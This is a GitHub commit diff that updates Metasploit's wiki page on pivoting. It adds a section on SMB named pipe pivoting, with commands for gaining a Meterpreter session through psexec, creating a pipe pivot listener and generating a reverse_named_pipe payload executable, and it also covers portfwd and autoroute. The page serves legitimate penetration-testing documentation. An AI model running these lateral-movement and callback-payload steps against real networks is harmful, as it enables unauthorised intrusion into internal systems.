Skip to content

Commit 09f75c6

Browse files
committed
Add named pipe pivot documentation
1 parent e79161c commit 09f75c6

File tree

1 file changed

+45
-10
lines changed

1 file changed

+45
-10
lines changed

docs/metasploit-framework.wiki/Pivoting-in-Metasploit.md

Lines changed: 45 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
1-
# Overview of Pivoting And Its Benefits
1+
## Overview
2+
23
Whilst in test environments one is often looking at flat networks that only have one subnet and one network environment, the reality is that when it comes to pentests that are attempting to compromise an entire company, you will often have to deal with multiple networks, often with switches or firewalls in-between that are intended to keep these networks separate from one another.
34

45
In order for pivoting to work, you must have compromised a host that is connected to two or more networks. This usually means that the host has two or more network adapters, whether that be physical network adapters, virtual network adapters, or a combination of both.
@@ -7,11 +8,14 @@ Once you have compromised a host that has multiple network adapters you can then
78

89
Now that we understand some of the background, lets see this in action a bit more by setting up a sample environment and walking through some of Metasploit's pivoting features.
910

10-
# A Quick Note Before Continuing
11+
## Supported Session Types
12+
1113
Pivoting functionality is provided by all Meterpreter and SSH sessions that occur over TCP channels. Whilst Meterpreter is mentioned below, keep in mind that this would also work with an SSH session as well. We have just resorted to using Meterpreter for this example for demonstration purposes.
1214

13-
# Testing Pivoting
14-
## Target Environment Setup
15+
## Testing Pivoting
16+
17+
### Target Environment Setup
18+
1519
- Kali Machine
1620
- Internal: None
1721
- External: 172.19.182.171
@@ -153,7 +157,7 @@ IPv4 Active Routing Table
153157
msf6 post(multi/manage/autoroute) >
154158
```
155159

156-
# Using the Pivot
160+
## Using the Pivot
157161
At this point we can now use the pivot with any Metasploit modules as shown below:
158162

159163
```
@@ -210,11 +214,42 @@ msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce)
210214
[*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
211215
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
212216
```
213-
# Pivoting External Tools
214-
## portfwd
217+
218+
## SMB Named Pipe Pivoting in Meterpreter
219+
220+
The Windows Meterpreter payload supports lateral movement in a network through SMB Named Pipe Pivoting. No other Meterpreters/session types support this functionality.
221+
222+
First open a Windows Meterpreter session to the pivot machine:
223+
224+
```
225+
use exploit/windows/smb/psexec
226+
run smb://admin:[email protected]
227+
```
228+
229+
Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
230+
231+
```
232+
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msfpipe -a x64 -p windows
233+
[+] Successfully created pipe pivot.
234+
meterpreter >
235+
```
236+
237+
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine:
238+
239+
```
240+
msf6 > use windows/x64/meterpreter/reverse_named_pipe
241+
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -o named_pipe_example.exe -f exe pipehost=169.254.16.221 pipename=msfpipe
242+
[*] Writing 7168 bytes to named_pipe_example.exe...
243+
```
244+
245+
After running the payload on the final Windows 2019 target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
246+
247+
## Pivoting External Tools
248+
249+
### portfwd
215250
*Note: This method is discouraged as you can only set up a mapping between a single port and another target host and port, so using the socks module below is encouraged where possible. Additionally this method has been depreciated for some time now.*
216251

217-
### Local Port Forwarding
252+
#### Local Port Forwarding
218253
To set up a port forward using Metasploit, use the `portfwd` command within a supported session's console such as the Meterpreter console. Using `portfwd -h` will bring up a help menu similar to the following:
219254

220255
```
@@ -262,7 +297,7 @@ Connecting to 127.0.0.1:443... failed: Connection refused.
262297

263298
Note that you may need to edit your `/etc/hosts` file to map IP addresses to given host names to allow things like redirects to redirect to the right hostname or IP address when using this method of pivoting.
264299

265-
### Listing Port Forwards and Removing Entries
300+
#### Listing Port Forwards and Removing Entries
266301
Can list port forwards using the `portfwd list` command. To delete all port forwards use `portfwd flush`. Alternatively to selectively delete local port forwarding entries, use `portfwd delete -l <local port>`.
267302

268303
```
@@ -275,7 +310,7 @@ No port forwards are currently active.
275310
meterpreter >
276311
```
277312

278-
### Remote Port Forwarding
313+
#### Remote Port Forwarding
279314
This scenario is a bit different than above. Whereas previously we were instructing the session to forward traffic from our host running Metasploit, through the session, and to a second target host, with reverse port forwarding the scenario is a bit different. In this case we are instructing the session to forward traffic from other hosts through the session, and to our host running Metasploit. This is useful for allowing other applications running within a target network to interact with local applications on the machine running Metasploit.
280315

281316
To set up a reverse port forward, use `portfwd add -R` within a supported session and then specify the `-l`, `-L` and `-p` options. The `-l` option specifies the port to forward the traffic to, the `-L` option specifies the IP address to forward the traffic to, and the `-p` option specifies the port to listen on for traffic on the machine that we have a session on (whose session console we are currently interacting with).

0 commit comments

Comments
 (0)